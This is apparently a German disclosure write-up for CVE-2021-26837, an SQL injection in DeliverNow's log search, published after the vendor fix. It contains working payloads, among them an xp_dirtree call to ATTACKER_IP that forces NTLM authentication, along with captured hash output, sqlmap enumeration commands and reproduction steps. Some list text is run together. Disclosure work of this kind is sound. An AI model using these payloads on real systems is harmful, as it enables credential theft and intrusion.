
CVE-2021-26837 - SQL-Injection im Parameter SearchTextbox von HelpSystems/Fortra DeliverNow. Payloads, annotierte Anfragen und Nachweise. Behoben in 1.2.18.
SQL-Injection in HelpSystems / Fortra DeliverNow
Der Parameter SearchTextbox auf der Log-Suchseite von DeliverNow (/LogGrid.aspx) wird ohne Parametrisierung und ohne serverseitige Validierung direkt in eine SQL-Server-Abfrage eingefügt. Die Anwendung gab die daraus resultierenden SQL-Server-Parserfehler außerdem direkt an den Benutzer zurück – genau so kündigte sich der Fehler ursprünglich an.
Die Datenbankverbindung lief als sa, wodurch die Injection volle Sysadmin-Rechte auf der Instanz erbte. Das reichte aus, um master.dbo.xp_dirtree gegen einen vom Angreifer kontrollierten UNC-Pfad aufzurufen und das SQL-Server-Dienstkonto zu einer ausgehenden Authentifizierung zu zwingen.
Gefunden während eines internen Penetrationstests. Vom Hersteller in DeliverNow 1.2.18 behoben und als CVE-2021-26837 veröffentlicht.
Entdeckt und gemeldet von Sedric Louissaint von Show Up Show Out Security.
| CVE | CVE-2021-26837 |
| Produkt | DeliverNow (HelpSystems, jetzt Fortra) |
| Betroffen | vor 1.2.18 (das ursprüngliche Advisory listete 1.2.18 und früher) |
| Schwachstelle | CWE-89: SQL Injection |
| CVSS 3.1 (NVD) | 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (Forscher) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Veröffentlicht | 2023-09-19 |
| Getestet auf | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
NVD-Beschreibung:
Die SQL-Injection-Schwachstelle im Parameter SearchTextBox in Fortra (ehemals HelpSystems) DeliverNow vor Version 1.2.18 ermöglicht es Angreifern, beliebigen Code auszuführen, Privilegien auszuweiten und vertrauliche Informationen zu erlangen.
POST /LogGrid.aspx, Body-Parameter SearchTextbox. Das Formular ist das Suchsteuerelement in der Log-Ansicht der Anwendung. ddlFieldName wählt die zu durchsuchende Spalte aus (Description in den folgenden Requests) und SearchTextbox enthält den Suchbegriff.
Ein einzelnes Anführungszeichen genügt, um es zu beweisen:
blah'
Die Antwort gibt den SQL-Server-Parserfehler direkt auf der Seite aus:
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Diese Fehlerausgabe ist ein eigener Befund. Sie verwandelt eine ansonsten blinde Injektion in eine vollständig interaktive.
Da die Verbindung als sa läuft, ist master.dbo.xp_dirtree erreichbar. Wenn du es auf einen UNC-Pfad auf einem Host zeigst, den du kontrollierst, authentifiziert sich das SQL-Server-Dienstkonto ausgehend über SMB an diesem Host:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Vollständiger Request in poc/exploited-request.http, Payloads in poc/payloads.sql.

Mit Impackets smbserver.py als Listener authentifiziert sich das SQL-Server-Dienstkonto des Ziels und gibt einen NTLMv2-Hash preis:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Der Hash steht anschließend für Offline-Cracking oder für NTLM-Relay auf einen anderen Host zur Verfügung.
sqlmap bestätigt die Injektion und die Privilegienstufe:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa bedeutet, dass jeder Login-Hash auf der Instanz lesbar ist, und xp_cmdshell ist nur einen sp_configure-Aufruf von der Befehlsausführung auf dem Host entfernt.
Gegen eine Laborinstanz, die du besitzt oder für die du eine Testberechtigung hast:
http://<host>:1080/) und öffne Log.blah' in das Suchfeld ein und sende die Suche ab. Eine verwundbare Version gibt den SQL-Server-Parserfehler auf der Seite aus.sudo smbserver.py c . -smb2support
xp_dirtree-Payload aus poc/payloads.sql mit deiner eigenen IP ein. Eine verwundbare Version erzeugt eine eingehende SMB-Authentifizierung vom SQL-Server-Dienstkonto.sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql Detection and out-of-band payloads for SearchTextbox
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations and expected output
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
Hosts und Hashes in den Aufnahmen stammen aus dem ursprünglichen Auftrag und sind längst nicht mehr gültig. Ersetze beim Reproduzieren deine eigene Listener-Adresse.
sa. Die Anwendung benötigt Lese- und Schreibzugriff auf ihre eigenen Tabellen. Sie braucht weder Sysadmin noch xp_dirtree. Least Privilege hätte die Injektion nicht verhindert, aber eingedämmt.Vom Hersteller in DeliverNow 1.2.18 behoben. Upgrade durchführen.
| Datum | Ereignis |
|---|---|
| 2021 | Gefunden während eines internen Penetrationstests und an HelpSystems gemeldet |
| 2021 | In DeliverNow 1.2.18 behoben |
| 2023-09-19 | CVE-2021-26837 in der NVD veröffentlicht, mit 9.8 Critical bewertet |
Veröffentlicht nach der Behebung durch den Hersteller, zu defensiven und Bildungszwecken. Die hier enthaltenen Payloads zielen auf eine vor Jahren gepatchte Version. Führe sie nicht gegen Systeme aus, die du nicht besitzt oder für die du keine schriftliche Genehmigung zum Testen hast.